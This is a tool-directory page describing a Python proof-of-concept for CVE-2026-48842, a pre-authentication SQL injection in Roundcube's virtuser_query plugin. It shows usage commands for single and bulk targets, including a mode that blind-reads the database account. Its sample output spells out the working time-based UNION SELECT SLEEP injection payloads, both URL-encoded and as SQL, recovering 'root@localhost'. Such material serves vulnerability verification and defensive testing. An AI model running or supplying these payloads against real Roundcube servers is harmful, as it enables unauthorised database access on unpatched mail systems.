Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48842 — Python PoC for CVE-2026-48842, a pre-auth SQL injection in Roundcube's virtuser_query plugin. Confirms the flaw via time-based differential and blind-reads the DB account. | Kitploit
Tools/GitHubGitHub/4minx/cve-2026-48842
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHub4minx/cve-2026-48842

CVE-2026-48842

Python PoC for CVE-2026-48842, a pre-auth SQL injection in Roundcube's virtuser_query plugin. Confirms the flaw via time-based differential and blind-reads the DB account.

View Repository
6h 50m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-48842 PoC — Roundcube virtuser_query pre-auth SQLi

Poc for CVE-2026-48842, a pre-auth SQL injection in the optional virtuser_query plugin of Roundcube Webmail.

The tool does two things and refuses to guess about either:

  1. Confirms the injection with a true/false differential (not a single sleep).
  2. Proves impact by reading the database account out of the target with --dumpdbuser.

It prints the exact SQL each probe produces, so a failed or inconclusive result is never presented as a finding.


Vulnerability Information

CVECVE-2026-48842
TypeCWE-89 — SQL injection
Componentplugins/virtuser_query/virtuser_query.php (not enabled by default)
AffectedRoundcube 1.6.x < 1.6.16, 1.7.x < 1.7.1
Fixed1.6.16, 1.7.1

Requirements

  • Python 3.9+
  • requests
root@kitploit:~
pip install requests

Usage

Single target, detection only

root@kitploit:~
python cve_2026_48842_poc.py https://mail.example.tld

Single target, prove impact by reading the DB account

root@kitploit:~
python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser

Faster oracle (a busy host may need tuning)

root@kitploit:~
python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser

Many targets

root@kitploit:~
python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3

Options

ArgumentDescriptionDefault
targetRoundcube base URL, e.g. https://mail.example.tld or http://host/roundcube—
-l, --list FILEFile with one target URL per line. # starts a comment.—
-d, --delay NSLEEP seconds per oracle probe7
--dumpdbuserBlind-read CURRENT_USER() once the injection is confirmedoff
-h, --helpShow help—

Example Output

Real run against a local Roundcube 1.6.15:

root@kitploit:~
[*] http://127.0.0.1/roundcube
    version=1.6.15  noise_floor=0.071s  _token=yes

[1] detection  injected=True  delta(true-false)=6.026s  delta(true-baseline)=6.015s  threshold=1.8s
    baseline                0.083s  http=401  sql_error=None
        _user=poc_baseline_user_9f2a
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
    artifact_unterminated    0.09s  http=401  sql_error=None
        _user=a%5C
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
    injected_true           6.098s  http=401  sql_error=None
        _user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
    injected_false          0.072s  http=401  sql_error=None
        _user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'

[2] blind read of the database account (~42s per byte, no quotes used)
    subquery: SELECT CURRENT_USER()
    length=14 bytes
    [  1/14] 'r'      [  2/14] 'ro'     [  3/14] 'roo'    [  4/14] 'root'
    [  5/14] 'root@'  [  6/14] 'root@l'  [  7/14] 'root@lo' [  8/14] 'root@loc'
    [  9/14] 'root@loca'  [ 10/14] 'root@local'  [ 11/14] 'root@localh'
    [ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'

[+] database account = 'root@localhost'

☕ Support

If this project helped you, consider supporting its development:

USDT (TRC-20)

TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

USDT TRC-20 QR

ETH (ERC-20)

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

Ethereum QR

References

  • Roundcube security advisory 2026-05-24 — https://roundcube.net/news/2026/05/24/security-updates-1.6.16-and-1.7.1
  • Fix commit (1.6.x) — https://github.com/roundcube/roundcubemail/commit/3406183a9976e36f992d3468f37d0e2346526ee9
  • Fix commit (1.7.x) — https://github.com/roundcube/roundcubemail/commit/87124cc7136a48b5fa9d2b40dfead6e9dcaeaf4b
  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-48842
Download Tool